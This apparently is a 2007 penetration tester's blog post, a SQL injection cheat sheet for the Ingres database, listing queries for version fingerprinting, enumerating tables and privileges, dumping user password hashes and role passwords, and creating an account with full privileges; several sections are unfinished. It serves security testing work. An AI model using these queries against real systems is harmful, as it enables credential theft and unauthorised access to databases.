header image
Home arrow Blog arrow Ingres SQL Injection Cheat Sheet
Ingres SQL Injection Cheat Sheet
Jul 07, 2007 at 10:40 AM
Ingres seems to be one of the less common database backends for web applications, so I thought it would be worth installing it and making some notes to make my next Ingres-based web app test a little easier.

Below are some tabulated notes on how to do many of thing you'd normally do via SQL injection.  All tests were performed on Ingres 9.2.0 alpha Build 108 for Linux.  The Ingres download page is here.

This page will probably remain a work-in-progress for some time yet.  I'll update it as I learn more.

This post is part of series of SQL Injection Cheat Sheets.  In this series, I've endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend.  This helps to highlight any features which are lacking for each database, and enumeration techniques that don't apply and also areas that I haven't got round to researching yet.

The complete list of SQL Injection Cheat Sheets I'm working is:

I'm not planning to write one for MS Access, but there's a great MS Access Cheat Sheet here.

Version
select dbmsinfo('_version');
Comments SELECT 123; -- comment
select 123; /* comment */
Current User
select dbmsinfo('session_user');
select dbmsinfo('system_user');
List UsersFirst connect to iidbdb, then:
select name, password from iiuser;
List Password Hashes
First connect to iidbdb, then:
select name, password from iiuser;
List Privilegesselect dbmsinfo('db_admin');
select dbmsinfo('create_table');
select dbmsinfo('create_procedure');
select dbmsinfo('security_priv');
select dbmsinfo('select_syscat');
select dbmsinfo('db_privileges');
select dbmsinfo('current_priv_mask');
List DBA AccountsTODO
Current Database  select dbmsinfo('database');
List Databases TODO
List Columns
select column_name, column_datatype, table_name, table_owner from iicolumns;
List Tables select table_name, table_owner from iitables;
select relid, relowner, relloc from iirelation;
select relid, relowner, relloc from iirelation where relowner != '$ingres';
Find Tables From Column Name TODO
Select Nth Row

Astoundingly, this doesn't seem to be possible!  This is as close as you can get:

select top 10 blah from table;
select first 10 blah form table;

Select Nth Char
select substr('abc', 2, 1); -- returns 'b'
Bitwise AND 

The function "bit_and" exists, but seems hard to use.  Here's an
example of ANDing 3 and 5 together.  The result is a "byte" type
with value \001:

select substr(bit_and(cast(3 as byte), cast(5 as byte)),1,1);

ASCII Value -> Char

TODO
Char -> ASCII ValueTODO
(The "ascii" function exists, but doesn't seem to do what I'd expect.)
Castingselect cast(123 as varchar);
select cast('123' as integer);
String Concatenationselect 'abc' || 'def';

If Statement

TODO
Case StatementTODO
Avoiding Quotes
TODO
Time Delay 

???

See Heavy Queries article for some ideas.

Make DNS RequestsTODO
Command ExecutionTODO
Local File Access
TODO
Hostname, IP AddressTODO
Location of DB files
TODO


The following areas are interesting enough to include on this page, but I haven't researched them for other databases:

DescriptionSQL / Comments 
 Batching Queries Allowed?

Not via DBI in PERL.  Subsequent statements seem to get ignored:
select blah from table where foo = 1; select ... doesn't matter this is ignored. 

 FROM clause mandated in SELECTs?

No.  You don't need to select form "dual" or anything.  The following is legal:
select 1; 

 UNION supported

Yes.  Nothing tricky here.  The following is legal:
select 1 union select 2; 

 Enumerate Tables Privs
select table_name, permit_user, permit_type from iiaccess;
 Length of a stringselect length('abc'); -- returns 3
 Roles and passwords

First you need to connect to iidbdb, then:
select roleid, rolepass from iirole;

List Database Procedures

First you need to connect to iidbdb, then:
select dbp_name,  dbp_owner from iiprocedure;

Create Users + Granting Privs

First you need to connect to iidbdb, then:
create user pm with password = 'password';
grant all on current installation to pm; 

 

 

 

Last Updated ( Dec 16, 2007 at 10:24 PM )